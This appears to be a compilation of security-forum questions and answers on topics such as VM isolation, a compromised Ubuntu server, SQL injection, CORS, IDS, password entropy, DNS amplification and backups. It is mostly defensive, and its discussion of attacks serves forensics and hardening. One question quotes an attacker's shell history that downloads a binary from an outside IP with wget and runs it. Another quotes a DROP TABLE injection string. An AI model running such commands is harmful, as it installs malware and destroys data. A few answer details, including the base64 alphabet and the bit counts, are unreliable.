Is using virtualbox for web browsing worth it for added security? My host machine is running Windows 10.  I've installed VirtualBox and use it to run an Ubuntu VM.  Inside the VM I use Firefox to do all of my web browsing that doesn't involve entering sensitive data like important passwords, financial data or government id info.

I use another separate Ubuntu VM for just the following:
- checking my email and social media
- shopping from amazon and newegg

On my host (the windows machine) I use the paid version of Bit Defender Total Security  to perform regular scans and it is configured to its default settings.

Finally for banking and logging into government websites, I use a separate (physical) Chromebook, which is exclusively for those purposes and strictly nothing else.

Is this all a good security practice?  Or is it all just a lot of extra work for nothing?

It's not exactly efficient and my gut feeling is it may increase attack surface. General browsing on generic sites means the potential for vulnerabilities to be exploited firstly on the website to serve malicious content and secondly by your client to be exploited. With your setup, it would mean exploiting Firefox to run privileged code that exploits an issue in Virtual box which could then potentially gain root access in Windows, which is a similar amount of work to exploiting an issue in Firefox to gain unauthorised access in Ubuntu except that isues that just affect that VM don't translate to your other VMs/devices. Having a wholly separate device for your personal use is I do not think very different from having another VM, except for the risk of what is essentially the hypervisor being affected.

If you had a device separate for work then that may make sense as it's much harder to secure a network when bringing in external devices where those devices may consume content and have connections made in environments you cannot control. For your own personal private information an airgapped device which never connects to any network may be called for.

None of this acknowledged that if the site you're browsing is compromised internally it makes no difference as to how you are accessing that site. Instead, look at broader measures which are effective such as constant updates of software (your current setup might be ineffective if you aren't already doing this anyway), do not reuse passwords, enable two factor authentication. This seems much easier to manage, and generally systems that are easier to manage are more secure.


Is it unsafe to show message that username/account does not exist at login? According to the OWASP Auth Guidelines, "An application should respond with a generic error message regardless of whether the user ID or password was incorrect. It should also give no indication to the status of an existing account."

However, I have found that many popular web apps violate this guideline by showing a message that the account does not exist.

So what is going on here? Are Google, Microsoft, and Slack doing something insecure or is the OWASP Guideline useless?

This is a consideration between security and usability, and therefore there is not really a right answer here. So here follows my opinion.

If you can keep usernames secret, then do so. In this case there is no way to figure out whether a username exists, and the login reacts the same whether a user exists or not. Note that this also means taking the same amount of time to return an error message.

This behavior may not be possible. For example if users can register themselves and choose their own username, you have to notify them when a username already exists in the system. If this is the case, make the login as easy to use as possible by providing the most detailed error message. If someone can figure out whether a user exists using the registration function, there is no use in hiding this at the login.


How can a server be hacked apart from port 80 or SSH? Currently I have a compromised server (Ubuntu) that is running all services in Docker containers, but I found today a malicious program that was generating a DDOS attack.

I checked all services in Docker, and they are ok, they wasn't compromised, but the host was. I found an executable file /AAK in Ubuntu that I think it was the DDOS attack, and I found in the history of root the following entries:

netstat -antup
chmod 777 AA
wget http://211.142.203.242:7410/AAK
chmod 777 AAK
./AAK

It is clear for me that was the origin of the attack, and checking open ports on the server, a random 10XX port was open by this process, and another malicious process had a port open.

Another ports open: 80 (nginx in a Docker container), 22 (SSH, NOT using password, using keys instead), and 111 (was open by default and used by rpcbind).

How could I check how the attacker got root access to the server? If the application in a Docker container wasn't the origin, what could have caused this breach?

I don't want to recreate the server just to be hacked again using the same vulnerability.

Edit: Forgot to mention that I was using digital-ocean vagrant plugin.

There are several methods you can investigate in order to answer your questions.

Find the versions for SSHD and RPCbind and NGinx. Google each version for any remote or local exploits and vulnerabilities. The attacker could very well have used a blend of local and remote exploits or vulnerabilities, and not a single way to get in.
Look through all the important logs (access, SSH, Kernel, etc) and try to pinpoint the closest you can when was the server compromised, and possibly how.
Look through history files for all users, not just root.
When were the files AA and AAK first created? Search through the logs in step 2 at least one week before those dates and look closely.

If you decide to rebuild the server, I would suggest to choose the most updated Kernel available, and close down RPCbind if not needed. Limit SSH to use Private Keys only (disabling all passwords as well). You can install many programs to check for file integrity right after the fresh install.


vsftp encryption algorithm I want to configure VSFTP for ftps protocol and it has some choices to select the encryption type: tlsv1, sslv2, sslv3.
I read that tls version 1 has some security issues but in the man page it says that tls v1 is preferred. my question is why tls v1 is preferred and is it more secure to use ssl v3?

The details of the differences were explained well on ServerFault

But the summary is this: TLSv1 is the successor to SSLv3. It was based on SSLv3 and includes several updates to the ciphers and key exchange. It also handles renegotiation extensions better.

TLSv1.0 could be considered SSLv3.1, and even appears to be identified that way in the handshake methods.


Is there any risk to enabling CORS with a wildcard on S3? By default, Amazon S3 blocks cross-origin requests. However, it allows users the ability to set up per-bucket CORS policies. It offers fairly elaborate controls for which domains and methods the user wants to enable.

To me, such conservative defaults and fine-grained settings suggest that there is some reason that I might not want to let all of my buckets respond with Access-Control-Allow-Origin: *, but for the life of me I can't think of a single way it could be abused.

S3 already provides a fairly elaborate ACL policy, and users cannot authenticate via cookies (as far as I know), so the problem doesn't seem to be people getting to information they shouldn't be able to get to.

S3 also provides an entirely separate way to block access to certain domains entirely, including for plain old image tags, so it doesn't seem to be an issue of hotlinking.

Is there any risk at all to a super-open CORS policy?

If you use amazon web service only for handling unprotected public contents like storing profile images or something else then opening cors policy shouldn't pose any thread but if you are using it for handling some sensitive information then you should block cors request.

Sometimes it does happen that website allow cors but they put some sensitive information like csrf token etc which can be use by attacker in malicious intend.

There are numerous cases on miss-implementation of cors policy leading attacker to steal sensitive data,token etc. There are lot of hackerone reports about such attack.

https://hackerone.com/reports/163491

http://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/


Storing SSH private keys on an Android device (I'm not sure if this better belongs on unix.se or android.se, but since it's primarily security-related, I'm asking it here)

I use my Android device to access servers for quick on-the-go administration. Before you ask, the device is encrypted with a fairly strong passphrase.

I'm using the standard Terminal Emulator provided by CyanogenMod. This provides me a simple Bash shell prompt where I can then ssh into the servers I'd like.

I'm running into a couple problems and security pitfalls:

The application runs as user u0_a24, but the Dropbear SSH home is set to /data/.ssh. This means that unless I'm root, I can't access the files without making them publicly available: bad.
If I just store my private key on my (albeit) encrypted sd card, other apps would probably be able to get access to it. I've made my private key fairly strong (lots of iterations of PBKDF2 in PKCS8), but still, I'm not interested in other apps getting access to it.

What's the recommended way of handling this? Has anyone had any luck with doing this on Android?

Alternatively, you might consider the JuiceSSH client. It stores your keys in its private app directory. In addition, it encrypts its storage so even jailbroken phones offer some level of protection.

Sources:
- @JuiceSSH: "External storage won't work as keys are imported into the internal JuiceSSH database".
- @JuiceSSH: "They [ssh keys] are stored in an encrypted SQL database, but you can export them by long-pressing on the identity".


Is making e-mail addresses visible and impersonation possible by GitHub an acceptable practice? I am under impression that protecting privacy of user is a "big deal" - even if only declaratively. Example: discussion on meta about e-mail addresses on SO.

Whilst I do expect that sooner or later my e-mail address will leak from some hacked database or contact list, I would nevertheless expect portals to which I give this data to at least try to conceal it from public.

Why then with GitHub I can simply go to .patch file of a commit? From GitHub:

  Commits must be made with an email address that has been added to your
  GitHub profile in order to appear on your contributions graph. You can
  check the email address used for a commit by adding .patch to the end
  of a commit URL, e.g.
  https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch:

From 67c0afc1da354d8571f51b6f0af8f2794117fd10 Mon Sep 17 00:00:00 2001
From: The Octocat <octocat@nowhere.com>
Date: Sun, 27 Apr 2014 15:36:39 +0530
Subject: [PATCH] updated index for better welcome message

Why they would allow an impersonation as well? The answer they give here is:

  Because Git is a distributed version control system, GitHub must use
  the commit email address to assign attribution. When you push a
  repository to GitHub.com it may contain one or more commits, some of
  which you may not have authored. For example, imagine a scenario where
  you collaborated with a number of people on a git repository before
  you made your first push of that repository to GitHub.com. This push
  would contain a number of commits from several authors. It would be
  incorrect to assign all of the commits to the person doing the push,
  so we use the commit log email addresses to assign attribution on
  GitHub.com. Each subsequent push to GitHub uses this same logic to
  assign attribution of commit authors.

Why it must use the e-mail addresses? Cannot they obfuscate them? Cannot there be an functionality that you need to explicitly allow a certain repository to link a commit e-mail with your account? Simply giving the option to impersonate is an acceptable alternative?

Perhaps I am heavily confused here being new to GitHub and programming itself, but it seems that GitHub is a public repository of e-mails and I find it somewhat shocking. Also if you have an e-mail address you may check if someone uses it on GitHub. If you have a linked user name you can half expect that the same nickname might be use elsewhere (e.g. SO) since, I think, there is no recommended good practice of using varying usernames on different portals (like there is for passwords).

Is then what GitHub is doing a commonly accepted practice?

Why then with GitHub I can simply go to .patch file of a commit?

There's no security benefit in hiding or obfuscating email addresses from this .patch interface: anyone who wanted the email addresses of authors or committers in a publicly accessible project could see them anyway just by cloning the repo. Also importantly, the patch file produced by this interface is intended to be usable as an input to git am. That is, if you obtain such a patch, forward it to someone else (perhaps through a mailing list), and someone else applies it to their copy of a repo with git am, it should generate a commit with the same metadata at the other end, nearly as if you did git cherry-pick from one branch to another. The author and committer names, email addresses, and dates, as well as the commit message, are the important parts of that metadata.

  Why it must use the e-mail addresses?

Well, you can certainly stamp whatever author names and email addresses you want on git commits (nothing can stop you), and you can push those commits to remotes (including GitHub), but you can't change them after the fact (without invalidating the commit and all downstream commits). That's just how git works: the commit metadata goes in to the calculation of the SHA1 that becomes the commit's identifier.

Would you be happy if all your published had Your Name <ghurpost@xxx-obsuscated.example.com> listed as the author? Remember, you cannot afterward somehow de-obfuscate that afterward and have the commit's SHA1 unchanged.

Having something in a piece of version control software that "guards" the identities of authors is largely incompatible with DVCS. If you need that, then you're probably looking for a centralized version control system (CVCS).


Preventing SQL Injections So I'm pretty new to SQL so I'm not too familiar with how to prevent any SQL injections.

I have 1 main form that's being used as a poll and it currently only has 1 text field. At the moment I think I'm safe from the generic '); DROP TABLE table; -- exploit but there are more I'm not too sure about.

Below are my insert and update lines. $want is the text field I mentioned.

INSERT INTO polls (ip, continent, hours, timespent, f_champ, l_champ, o_champ, u_champ, b_champ, w_champ, want, story, happy, 4star, 3star, 2star, 1star) VALUES ($ip, '$continent', $hours, '$timespent', '$f_champ', '$l_champ', '$o_champ', '$u_champ', '$b_champ', '$w_champ', CAP_FIRST('$want'), '$story', '$happy', $_4star, $_3star, $_2star, $_1star)

UPDATE polls SET continent = '$continent', hours = $hours, timespent = '$timespent', f_champ = '$f_champ', l_champ = '$l_champ', o_champ = '$o_champ', u_champ = '$u_champ', b_champ = '$b_champ', w_champ = '$w_champ', want = CAP_FIRST('$want'), story = '$story', happy = '$happy', 4star = $_4star, 3star = $_3star, 2star = $_2star, 1star = $_1star WHERE ip = $ip

I'm currently using PHP and MySQLi (procedural) inserting into a phpMyAdmin database.

Can anyone provide any tips to stop potential injections. Thanks.

The proper way to prevent SQL injections is to use Prepared Statements.

Here is an abbreviated example taken from the PHP documentation:

$stmt = $mysqli->prepare("INSERT INTO test(id) VALUES (?)");
$stmt->bind_param("i", $id);
$stmt->execute();

Instead of literally substituting the value of a variable in your query, which will always be vulnerable to injection by a creative attacker, you use a wildcard - "?" . The variable must then be bound to the wildcard.

Obviously this is a much simplified example. You need to do error handling, and often you'll have more than one variable in your statement. All of this can be found in the documentation.

The concept of prepared statements is not unique to PHP. You find it in practically all programming languages, although the implementation may differ. Familiarize yourself with the concept, because you're going to encounter and need it often.


Allowing access to a programmatically created user without compromising security? I am writing an app that requires multiple levels of users, where one user is an administrator and adds slave users.

I can't really seem to find a way to allow access to the slave users safely. Emailing a password is unsafe as emails are unencrypted, and I might as well just send the password if I'm sending a one-time link.

I can reduce the window exponentially by making a temporary password required to be changed on first login, emailing a one-time use link, setting a timeout on either of these, or any combination of all of these...

But the window still seems extremely large compared to asynchronous encryption, for example.

I could require an SSH communication or something, but obviously this is not even close to pragmatic.

What is the industry standard, and what solution, if any, can provide both a pragmatic user-friendly experience, as well as a secure channel?

Sending passwords in a mail is not good under any circumstances. As I see, the best thing you can do is send a one time link in the email so then user navigates to your externally exposed interface(web?) and create a password. To secure the email you can use PGP.This is a good guide.

This requires some burden of configurations in the user's end. If you are sending mails to known users, ( eg: in a corporate environment ) this is feasible. But if you are sending mails to general public, I do not think PGP is a viable option.


How do Intrusion Detection Systems (IDS) work? How do Intrusion Detection Systems (IDS) work? As I understand it, they monitor network traffic but what exactly do they look for? How can they tell apart regular activity from intrusions?

You typically have two kinds of IDS, network-based and host-based, and these can be signature or statistical response types.

Signature IDS's are simple, fast, and can be updated easily. Usually vendors supply signature files - similar to the way anti-virus vendors supply virus signatures. For this reason most IDS's use signature recognition. The downside is that they will not identify a new attack unless it has a signature which matches an existing attack.

Statistical or heuristic IDS's learn what 'good' or normal traffic looks like and alert on anything which isn't normal. This does mean they are much better at spotting new attacks, but does require learning periods when initially installed and regularly on the implementation of new servers, services and when any new traffic types or volumes are expected.

Network based IDS's are usually implemented at the perimeter of an organisation, and they have visibility of all traffic entering (and sometimes exiting) the organisation. Where traffic has indications that it may be malicious it is logged or flagged to a response system or person.

For a large organisation, the amount of different valid traffic types can be very high, and the traffic types can vary over time so the ongoing configuration and tuning of a perimeter network based IDS can take a lot of resource. For this reason, the majority of large companies outsource this to vendors who provide the service to many organisations. These vendors have better visibility of attacks happening, a scale advantage on tuning and response, and the ability to update signatures for all their clients at once.

Host based IDS's are more usually implemented in-house for specific high-value servers. The traffic types and load are usually much lower and more predictable so the resource requirement is usually lower.

Also have a look at this question - some discussion on anomaly based (statistical) IDS.


How to make my basic Java Server secure against hackers? I have a basic Java Server program on my iMac written entirely in Java, which works for a Java client drawing program.

The program basically enables a user to draw something on the JPanel with the drawing being copied onto the panels of all the connected clients.

The server works on a static ip address, over multiple optional ports and involves the use of databases and iMac’s filesystem.

The problem:
I am receiving random connection requests from strange Ip addresses all the time and I am am really suspicious about it

Please have a look at my sample server code:

https://stackoverflow.com/questions/47307797/what-is-the-most-secure-way-to-write-a-java-server-program-which-listens-on-my-s

Questions)
1) Can hackers compromise my iMac because of my naive server program? If so, what should I modify in my code to prevent it?

2) What mechanisms in my code are the weak links?

3) Is it possible for a hacker to access my iMac just by knowing the static ip?

Thanks

Hate to be the bearer of bad news, but if you've run any program like this on your personal machine, and made it accessible to the outside world, you realistically have to assume that you've had data stolen and/or your machine has been compromised.

  1) Can hackers compromise my iMac because of my naive server program? If so, what should I modify in my code to prevent it?

If you're writing anything like this, you have to assume the answer is yes. There's a reason why many, myself included, say never to roll your own security - industry standard tools, algorithms and frameworks have generally been tested and hardened in real world use over a number of years, and even they have security flaws (sometimes critical) that are revealed from time to time.

Even using such a hardened, industry standard solution though, I'd never run something like this on a personal machine unless it was behind some other layer of protection (such as a VM.)

  2) What mechanisms in my code are the weak links?

This is the wrong approach - I could maybe tell you a dozen massive holes if I saw the code in its entirety, and there could still be hundreds more. That wouldn't make it secure, and you shouldn't assume that it is. You also need to consider the security of the platform that you're running on (everything from the Java VM down to the OS), so you could write a completely water tight application and still be vulnerable.

In any case, even ignoring all the above. I couldn't say. You haven't provided the code (even in the Stackoverflow question, the code clearly isn't a complete, self contained example - there's method calls / objects missing.)

However, just for the sake of playing along with what you have posted, you never actually check if you're logged in before doing:

DrawData dat=(DrawData)acceptUserData();//this reads objects
                                      //from the socket inputstream
dat=processData(dat);
sendToAllClients(dat);

...which really smells of something not being right to me.

  3) Is it possible for a hacker to access my iMac just by knowing the static ip?

If this program is running on it, and you've punched a hole in the firewall? Sure, I'd say you have to assume that people can, and have accessed your machine. If you've got passwords, sensitive data or anything else of the like on there, you'd be wise to change all of it immediately.

In the future, if you really want to experiment around with running (likely) insecure programs you've just written, then at least spin up a cheap VM and run it on that instead - that way if it gets compromised, there's not as much to lose.


How to protect web app users from server compromise? I would like to create a web app that runs on a server I don't physically control (e.g., on Google Cloud).  I want to protect my users from the possibility of the server being compromised and sending malicious JavaScript code to the client.

What is the state of the art for doing this?  Is it even done?  Mylar looked like a promising solution with their browser extension for authenticating web apps but it appears to have gotten no traction and I can't even find the browser extension to install (other than building it myself from source).

There is a clear separation of concerns here. As the web app developper, you should use state of the art security rules to protect your app. If you are also accountable for its integration on a server, you should also ensure that all the components you use around the application (for example an Apache or nginx front server) have configurations that follow state of the art rules.

But the protection of the client machines can only rely on the machine owners, and the best you can do is to ensure that you have done your job in producing and configuration a correctly secured web app.

That being said the security of a web app heavily rely on the global security on its host. If you think you cannot trust the host environment, you should not use it, or accept that the security of your app will not be higher than the security of its host. Said differently, in using a hosting service for your app, you accept its security level.


Passphrase vs. password entropy For a while now I have been interested in the passphrase concept as a potentially more secure replacement for classical passwords. My interest stemmed from a gut feeling that passphrases would be of a lower entropy than passwords given their nature.

Here is my logic. From my Google based research most blog type posts that a typical computer user might read hailed passphrases as amazing secure thing and even one site claimed that existing password cracking software is incapable of cracking passphrases as they are too long. Taken literally this is true but a simple change in the dictionaries that feed your password cracker can fix that. Never the less, here is my logic:

Passwords:

Users are now somewhat used to the idea that passwords must be complicated, using symbol and number substitution and in length. I personally use passwords based on un-common dictionary words with symbol substitutions and random numbers. Technically, a user who picks a 8 character password (at random) would have a password entropy of 94^8. Granted most people do not have truly random passwords but I will explain why I think this will cancel out with a similar human error in passphrases shortly. That is a crazy huge number since 94^8 = 6.1 x 10^15.

Passphrases:

Everywhere and everyone I have seen talk about passphrases have consistently given examples of all lower case, no symbol or number phrases such as the classic xkcd strip with "correct horse battery staple". According to Oxford Dictionary here there is approximately 170 000 words currently utilized in the English dictionary. Assuming users pick on average a three word passphrase (any longer seems to exceed user laziness), that is an entropy of 170000^3 = 4.9 x 10^15 which is roughly 20% lower entropy than the 8 character randomly chosen password. Now, before you argue that no one uses randomly generated passwords, it will be equally rare people choose totally random words from the English dictionary. Instead, users will frequently use common sayings. Even if people avoid common sayings, I am no linguistics expert but there is limited options that can logically follow a word in the English language, seriously cutting down the possible permutations used in passphrases.

With that in mind, I argue that at the very least the failure to comply with randomness in passphrases will equal if not exceed the failure to comply with randomness in password creation as users are lulled into a false sense of safety with the concept of passphrases.

So I present my formal question, am I overlooking some key consideration here or am I correct and passphrases really are less secure if not only equally as secure as passwords and are not some revolutionary new way to make your password/passphrase much more difficult to guess?

Two general points.

First, the benefit of Passphrases is that they make it easier for users to generate entropy while still remembering their key.  Generating entropy through randomized characters is hard - and the harder something is, the less people will do it.

The reason that XKCD comic is so cited isn't just the math - it's that people who haven't seen the comic in years can still tell you what that password is.  That's the point of the comic: that those bytes of entropy were easy for a human to remember.

Second, you might want to take a look at:

https://wpengine.com/unmasked/

The main highlight?  The average password entropy is 21.6.  Aka, it's off by a factor of 2-billion from your 94^8 number.  The reason?  Users don't choose random ascii characters.  They don't choose random letters with randomized capitals.  They don't choose randomzied letters.  They simply choose a word and decorate it.

Basically, it's easier to get a lazy person to generate entropy through a 15-character passphrase than it is to get them to generate entropy through a 8-character password.


Benefits of Facebooks new "Trusted Friends" feature Today on my Facebook I saw a new (to me at least) feature to access your account if you lose access somehow.

The process is simple. You add 3 to 5 friends as trusted friends. Then if you lose access to your account, Facebook will give each of those friends a piece of a security code. The you can then contact those friends and gather the code to access your account.

This image is from the walk through where Facebook explains it in their own words:

l benefits of this?**

The only benefit I see is that you now have a sort of trump card to always have a way back into your account. An attacker can hack into your account but you will always be able to utilize your friends to get back in. But what does this solve that a simple texted/emailed access code (two factor authentication) to you, the account owner, doesn't? I suppose it turns it into 3 to 5 factor authentication but is that ever necessary.

Especially at the cost of having to contact 5 different people and gather codes to log in and possibly do so over an insecure medium.

Is there really a benefit or is this security theater?

This is a really interesting idea and I don't think it's just security theatre. Email accounts can be hijacked through technical means and/or social engineering. 2FA can be broken (via hacked email or exploited SS7 vulnerability).

This mechanism offers a way to always be able to retain control of your account. It does however rely on your friends to not be bribable and not fall for social engineering attacks from attackers trying to exploit this to this to hijack your account and humans are often a weak link in the security chain.


How did piratebay.se search engine get in Chrome as an "other search engine" I have an IT client with a user who had piratebay.se/... listed within his Chrome's (v39, 64-bit, OS X, 10.10.1) "Other Search Engine" section.

I know a user could manually add it and suspect the piratebay.se website could have offered to add it while a user was visiting there.

QUESTION
Is it probable that malware could add the piratebay.se search engine? I also removed one of the few OS X browser hijacks from this same browser at the time I discovered the piratebay listing in Chrome's "Other Search Engines."

What's the probability of an unauthorized addition of piratebay.se to a browser's search engine? I'd like to know this in order to help my client decide whether to ask the computer's users about their access to piratebay. If it's unlikely malware added the piratebay search engine, then my client will talk to users of this computer.

SIDE QUESTION
Has anyone seen or read about malware adding piratebay.se/... to Chrome or another browser's search engines? I couldn't find any postings about such an instance.

Chrome will automatically add search engine configurations any time you visit a site that has a compatible search box. If you don't want it to be there, then remove it.

How did it get there? The user went to the pirate bay, and chrome added it.

The answer to all of your probability questions is: not very probable given the fact that Chrome will helpfully add the search engine entry on its own for you. It is, however, very probable that the user has been using the pirate bay site.


Password entropy match for alphanumeric but there are special characters in password I have a problem cracking some of the fundamentals on passwords' entropies. Namely: I have read this article about a guy cracking DKIM of Google (maybe more noticing that the keys are only 512 bits)

Then I have tried checking it whether it is really 512 or something longer etc. I have finally came up with Wikipedia page  http://en.wikipedia.org/wiki/Password_strength#Random_passwords
that would explain to me how length of a key is computed.

So using the table provided in there I compute examplar key: jL/Dw06dEEleG8YQSm0ZmlMVoDzfy2g4cDWA/NceLTocnDRzh3zpfQX91IRnu7qNAaao23+0E0nFT3NnfGuyS7gC7f17vGZQJ2IhsW/xrJ/LQ77ogGf/dbaCLHX016mmSmNXq4oPfsoLwnO8MjnP3kj341mDNf5750WlpNPNrV2e/7ZBImBt8ZxFGMe6fXjQVlzzU2MYE+JOs1bF8KisU1sbi+kzdq8NP8qz+dvdAxbXez/7C57yPXZhkqf8iWO8Hn7y/n2ekcDXE+9bYK5cPiOZY0eUwd1odNRF7FhmuCBIkO6LjF9/373sGIw/6fcJQ7plyhE1ExooM7j9H7FUuw==

344 characters long.

From the wiki table we have

Where, L  is the length of a password with desired copmlexity (entropy) H  and N is the number of symbols in the set that we are working in (e.g. 62 in alphanumeric or 95 of ASCII printable characters).

So my question here is :
for complexity 2048 bits, alphanumeric characters I get :

L =  ~~ 344

where this is ours hash's length, so why are there / and +  and = in the password. Is this because it is coded with base64 ?

PS

If I try to decode this key with base64 and ASCII charset then I get some rubbish

NI^JmS<h8p5-:4s|}gIOsg|kK{fP'b!oCgu,uJcW~s29HY5{E]A"`mE}xV\ScNVS[3v
?{?=vac~}[`\>#cGhtEXf H_?   Ce5(3T

What am I doing from here ? As far as I know no hashing functions returns special characters.

The key is Base64 encoded.

Base64 encoding allows data to be stored as ASCII, because the output of that encoding only uses a-z, A-Z, 0-9, / and ., with = for padding. The "rubbish" you see is the ASCII representation of the raw bytes of the key.

Your entropy analysis is therefore very close to correct, because the character set of the data is 64, not 62. If we do the math, log2(64) is 6, which makes the ideal length for 2084 bits of entropy 341.333 bytes. Since you can't store 0.333 of a byte, we can assume that the ideal length of the base64 encoding of any data with 2084 bits of entropy is 342 bytes. Now notice that there are two padding characters on the end of the base64 string, which means that the real length is actually 342 bytes. As such, we've just proven that the key has ideal entropy.


localStorage vs. HTTP-Only Cookies + XSRF: Is either better when it comes to XSS? If I were to implement a common OpenID Connection pattern on a SPA, I might have the following relationship:

Auth server <-----------> Client (browser) <-----------> App API server

The user would be redirected to the auth server to login, and an HTTP-Only cookie is set on the auth server with the user's ID token (whose payload contains user details and is signed by a secret) and auth token. Then the auth server redirects the user back to the app with the tokens in the hash string, so they can be persisted.

The hash would have to be set by having the API return something like:

res.send(`<script>
  location.replace('${callbackUrl}#access_token=${accessToken}&id_token=${idToken}')
</script>`)

rather than a HTTP redirect with the token in the query string (because that would probably be logged), and the client-side app can use history.replaceState() to wipe the tokens from browser history. The browser strips these tokens from the hash so the user won't accidentally bookmark or share this URL containing the tokens, then it persists the tokens to localStorage.

I gathered from this article on Stormpath that localStorage isn't the greatest of ideas, since it's vulnerable to XSS (any arbitrarily executed JS living on the same page can read the token from localStorage).

So they advocate for using HTTP-Only cookies to store tokens instead. In this approach, the auth API redirects the user back to the app with headers to set HTTP-Only cookies with:

access_token
id_token
csrf_token

These cookies are set on the auth API server. The UI would also need to know the value of the csrf_token. If the authentication happened with an AJAX request, we could send it in a header; in the case of OpenID, where the app redirected to the API domain, we'd have to use the script approach and send it in the hash for the app UI to receive it. As I understand it, these approaches are roughly equivalent in terms of security -- whether read from the hash or from a header, either way the browser must store this CSRF token to send it in subsequent requests.

Angular's HTTP service handles the former approach (header) by grabbing the token and saving it to a cookie on the UI domain. Then it automatically sends requests to the auth API with the X-XSRF-Token set to that value it has stored in the cookie. Then the API can confirm that this given token matches the one in its csrf_token cookie and determine if the user submitted this request.

This is considerably more complicated than the localStorage approach. The article proposes that this is more secure because localStorage is vulnerable to XSS -- an attacker embedding malicious JS on a page on the UI's domain can steal the localStorage values. (Obviously XSS can be mitigated, but there are certainly situations that arise where we could be vulnerable to XSS, such as a CDN the UI uses getting hacked and sending malicious scripts, or simply a npm package that appears benign and is used in the UI but secretly captures localStorage in the background.)

But how is this CSRF approach any more secure? After all, the CSRF token must be stored in a cookie on the UI, and it can't be a HTTP-only cookie, since requests to the API must include the token in a header. So wouldn't this mean the same XSS vulnerability? The malicious script could read the CSRF cookie on the UI and start sending requests to the API using it.

Am I missing something here? How is the CSRF cookie more secure than putting a token in localStorage, if in either case, the primary means of authenticating with the auth API can be read from the client?

As per the OWASP cheat sheet https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
None of the prevention techniques are effective if you have a XSS vulnerability in your site.


Difference between DNS flood attack and DNS amplifier attack I am trying to understand DNS flood and DNS amplifier attack. I have read the definition and am still confused, could you give me an example of each attack or tell me the differences between them?

It seems DNS amplifier attack not just reflect but also "amplifier" the traffic and I suspect this is the main difference here. How does it amplify the traffic?

Can I say that if an attacker sends packets to one DNS recursor, then it's a DNS flood (the number of packets is the same as send), to multiple recursors, then this is an amplifier attack. The number of packets = send packets * number of recursor severs, and that is why it's called "amplification"?

DNS Flood

  A type of Distributed Denial of Service (DDoS) attack in
  which the attacker targets one or more Domain Name System (DNS)
  servers belonging to a given zone, attempting to hamper resolution of
  resource records of that zone and its sub-zones.
  Incapsula

 DNS Flood

DNS Amplification attack

  In a DNS amplification attack, a large number of DNS request are sent
  with a spoofed from-IP-address to one or more DNS servers. Depending
  on configuration, these DNS servers will send a response back to the
  IP address that the request appeared to originate from.
  SimpleDNS.

 DNS Amplification DDoS Attack

Although, US Cert and CloudFlare both have good definitions I felt they lacked simplification. However, I have included them as citation because they include technical workings.

DNS flood attacks use the high bandwidth connections of botnets to directly overwhelm the DNS servers via DDoS attack. The volume of requests from the botnet devices overwhelms the DNS provider’s services and prevents legitimate users from accessing the provider's DNS servers.

DNS flood attacks differ from DNS amplification attacks. Unlike DNS floods, DNS amplification attacks reflect and amplify traffic off unsecured DNS servers in order to hide the origin of the attack and increase its effectiveness. DNS amplification attacks can use devices with smaller bandwidth connections to make numerous requests to unsecured DNS servers. The devices make many small requests for very large DNS records, but when making the requests, the attacker forges the return address to be that of the intended victim. The amplification allows the attacker to take out larger targets with only limited attack resources. Although DNS amplification is not reserved for low bandwidth, it is the ideal attack method if high bandwidth is not available.


How to keep backup servers safe? I use duplicity on a few Ubuntu servers to encrypt backups and send them to a backup server, which then sends another copy to rsync.net, and then, once a week, give it or take, I download these backups to a local server.

The problem I have with this is that to send these encrypted archives to the backup server, each server has a password-less SSH key that allows them to connect to the backup server.

While each server has its own user on the backup server, file changes are monitored with OSSEC and the user only has permission to write to its own backup directory, I still fear that a compromised server — thinking ransomware, to be specific — could damage the backup server as well.

I thought about doing the inverse and having the backup server connect to the other servers, grab what it needs, and then shut itself down, but that seems worse, as a compromised backup server would have access to the entire server inventory.

So, I am wondering what is the best solution to keep backup servers safe? Is there a better software than duplicity to handle this?

Thanks in advance!

EDIT: Few details I forgot to include, might be worth something.

Backup server is set up with a hardware RAID controller in RAID 10
with 15 drives
Backup server uses Ubuntu 18.04 with EXT4 as the
filesystem
Backup server is a dedicated server with plenty of RAM and
CPU power
Backups stay inside /var/backups/SERVER-NAME/
Client servers are all unprivileged LXD containers

Doing 'the inverse' seems like the more secure solution.
If:

the backup function is the only function that the backup server
performs
all incoming connections to the backup server are blocked
all outgoing connections (except the connection to the server being
backed-up) are blocked
the only process that the backup server performs is the backup process
(by way of a cron job)
all other standard best practices are applied

then the backup server has a very small attack surface.
Futhermore,

if the backup server only has read-only access to the server being
backed-up

then even if the backup server is somehow compromised, it can't tamper with files on the server being backed up, or copy malicious files to the server being backed up.
Finally,

if the backup server makes incremental or differential backups

then even if the server being backed up were compromised, and files were tampered with, and backups of these files on the backup server were overwritten with the tampered files - 'pre tampered with' files would still be available on the backup server by way of the differential or incremental backups.
Edit July 26, 2020:
There has been a fair amount of news over the past few days about Garmin suffering an outage that has lasted over three days to date.  A number of news outlets are reporting that Garmin's network has been infected by the 'Wasted Locker' ransomware.  According to MalwareBytes, Wasted Locker is specially designed for each victim that it targets, and one of its objectives is to find and destroy all backups.  A backup solution like this one would be resilient to such an attack.


How to trace the remains of deleted files? My question is not about the recovery of deleted file, nor is it about the complete wiping of a disk; it's to ask about the traces deleted files leave, and how I could possibly 'see' them or visualise them?

I'm very much interested in the right to be forgotten, data loss, technological decay etc. Which made me question the traces of the deleted files. I have read that unless you physically destroy the harddrive or override the files/disk the deleted files leave traces of some sort- loose fragments of the file that used to be there.

Is there a way for me to see those fragments and access them? Can I pull metadata from them, for instance how many files were deleted, what the extensions were of those files, sizes, names etc.

At a high level, the answer is, that we know something about the files or directory structure. If we know something, that means that we can look for it on a disk, even if it is not in the current directory tree.

This may sound very abstract, and it probably is. If you have a Linux system available, you can use a small (stay below the 1G if you can) USB stick for experimentation. I say small, because larger takes more time.

On the USB stick, create a file with an text editor, with something like this:

't Was brillig and the slythe toves
 did gyre and gimble in the wabe

Once you are satisfied that the file is there, delete it.

Plug it in your Linux system and do

sudo strings /dev/sdx1 | grep brillig

(replace devx1 with our actual device name). You should see the first line of Jabberwocky.  It this case we knew it was ASCII-text (so we used strings to filter it out) and it contained brillig.

In most files, there is a starting set of bytes (called Magic Number) that allows you to determine what kind of file it is. For example, if you see a sector starting with 0xffd8, there is a fair chance that it is the beginning of a JPEG file (not certain, but a fair chance). Wikipedia has a whole list of those magic numbers.

